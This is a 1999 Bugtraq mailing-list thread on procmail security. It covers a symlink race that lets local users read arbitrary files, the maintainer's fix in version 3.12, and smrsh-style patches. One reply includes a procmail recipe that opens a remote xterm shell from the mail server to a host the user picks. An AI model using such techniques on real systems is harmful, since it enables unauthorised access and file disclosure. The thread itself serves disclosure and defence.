Date: Mon, 5 Apr 1999 19:40:37 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
To: BUGTRAQ@netspace.org
Subject: More procmail
Hi,
Well well since Debian appear to have "broken silence" on the procmail
front rather than wait for an official announcement...
I found something potentially more serious than boring heap overflows. It
is allegedly fixed in the latest procmail release but I haven't checked.
As a summary local users can dump the contents of any file to screen. As a
comment I would suggest anyone running procmail with elevated privs either
a) Needs their head examined or
b) Hasn't read the code.
Here is a quote of a previous mail I sent various people when I first
found the file handling issue. I also recommended to the procmail team
that they review _all_ of their file handling code. I have no idea whether
this recommendation was taken on board or not..
Cheers
Chris
-----8<--------
However on to more interesting things, I have found a much more serious
security hole in procmail's file handling which can lead to users dumping
the contents of arbitrary files they should not be able to read to the
screen.
The faulty code sequence is in the handling of .procmailrc files and goes
something like
1) stat .procmailrc (as root) - if it can't be stat'ed keep root privs
2) open .procmailrc
3) do lstat on .procmailrc for security check
By replacing .procmailrc after steps 1) and 2) with a symlink to the file
to dump and a regular file respectively, we can win a race condition.
You might not think this is a very plausible race but with a few deep
directory/multiple symlink tricks/SIGSTOP/etc. the window can be made
quite wide. This is definitely exploitable.
----------------------------------------------------------------------------
Date: Tue, 6 Apr 1999 21:50:03 -0400
From: Kragen Sitaker <kragen@POBOX.COM>
To: BUGTRAQ@netspace.org
Subject: Re: more procmail
Chris Evans writes:
> As a comment I would suggest anyone running procmail with elevated
> privs either
>
> a) Needs their head examined or
> b) Hasn't read the code.
Procmail is generally not useful when running on behalf of the person
who wrote the email it's being given as input.
When it is running on behalf of someone else, which is the usual case,
it has privileges that the sender did not.
In my book, that means it's running with elevated privs.
Common examples of this situation:
- filtering your incoming mail with procmail
- running a mailbox (of mail from other people) through procmail
--
<kragen@pobox.com> Kragen Sitaker <http://www.pobox.com/~kragen/>
This is exactly how the World Wide Web works: the HTML files are the pithy
description on the paper tape, and your Web browser is Ronald Reagan.
-- Neal Stephenson, at http://www.cryptonomicon.com/beginning_print.html
----------------------------------------------------------------------------
Date: Tue, 6 Apr 1999 20:00:03 -0500
From: Philip Guenther <guenther@GAC.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: More procmail
Chris Evans <chris@FERRET.LMH.OX.AC.UK> writes:
...
>As a summary local users can dump the contents of any file to screen. As a
>comment I would suggest anyone running procmail with elevated privs either
>
>a) Needs their head examined or
>b) Hasn't read the code.
>
>Here is a quote of a previous mail I sent various people when I first
>found the file handling issue. I also recommended to the procmail team
>that they review _all_ of their file handling code. I have no idea whether
>this recommendation was taken on board or not..
Hmm, I guess I failed to cc you on the discussion that later took place
on this issue. What we eventually settled on and was incorporated into
version 3.12 was for procmail to always open user rcfiles as the user
(/etc/procmailrc will still be opened and processed as root). On some
systems where special group privileges are needed to deliver to the
mailspool but that have broken set*gid() system calls, procmail will
attempt the open as root and if it succeeds then it'll close it, become
the user, and open it again. This last case may still allow for DOS
attacks by symlinking to, say, a serial device that blocks on open, so
I suppose the open as root should be a non-blocking open. The truly
paranoid will abolish the central mailspool directory and group 'mail'
in favor of spooling mail to the user's home directory, a setup
procmail readily supports.
As for the rest of the file handling code, what I've had the time to
review has looked safe. Procmail becomes the user before it starts
processing the contents of the $HOME/.procmailrc, so problems should be
limited to what the user could have done without procmail at all.
While the permissions of the $HOME/.procmailrc are checked closely,
procmail tries to the trust the user the rest of the time; if the user
wants to process recipes from someone else's rcfile, procmail will let
them: trusting the other user was their explicit choice. Resource
consumption attacks (say, opening /dev/zero as an rcfile) should be
dealt with like all resource consumptions attacks: audit and keep a
baseball bat next to your desk.
Philip Guenther
Procmail Maintainer
bug@procmail.org
----------------------------------------------------------------------------
Date: Wed, 7 Apr 1999 08:50:28 -0700
From: Ricky Connell <ricky@BEIDA.STANFORD.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: More procmail
Philip Guenther <guenther@GAC.EDU> writes:
=Procmail becomes the user before it starts
=processing the contents of the $HOME/.procmailrc, so problems should be
=limited to what the user could have done without procmail at all.
Not quite true.
The procmail rule:
:0
* ^Subject: HACK
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh
will, in fact, pop a shell from the secured mail server to whereever
the user specifies, running as the user. So if they control their own
.procmailrc, they can log into the mail server whenever they desire, which
may not be a machine that they would normally have access to. The paths
may need to be changed to reflect the OS of the mail server.
I have patched my procmail to deal with this by forcing it to use
smrsh. In doing so, I also discovered the procmail calls sendmail
explicitly at some point in it's operation (didn't take the time to figure
out where it does it). This might also be of concern, but it wasn't
immediately obvious to me how this might be exploited.
-- Ricky
---
ricky@smi.stanford.edu (650) 498-4405
Unix and Network Administrator
----------------------------------------------------------------------------
Date: Wed, 7 Apr 1999 12:51:20 -0500
From: Christopher P. Lindsey <lindsey@MALLORN.COM>
To: BUGTRAQ@netspace.org
Subject: Re: More procmail
> :0
> * ^Subject: HACK
> | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh
>
> I have patched my procmail to deal with this by forcing it to use
> smrsh. In doing so, I also discovered the procmail calls sendmail
> explicitly at some point in it's operation (didn't take the time to figure
> out where it does it). This might also be of concern, but it wasn't
> immediately obvious to me how this might be exploited.
Exactly, and I've been debating this with Philip for quite some time
now. I'm not saying that either one of us is right, but this type
of problem is particularly worrisome in our environment at NCSA.
I also wrote a patch about a year ago (or maybe it's the one that you
used) against 3.11pre7, available at
http://mirror.ncsa.uiuc.edu/procmail/patches/smrsh-like.patch
I'll be writing one for 3.13.x and adding the same functionality to
formail when I have the time.
Chris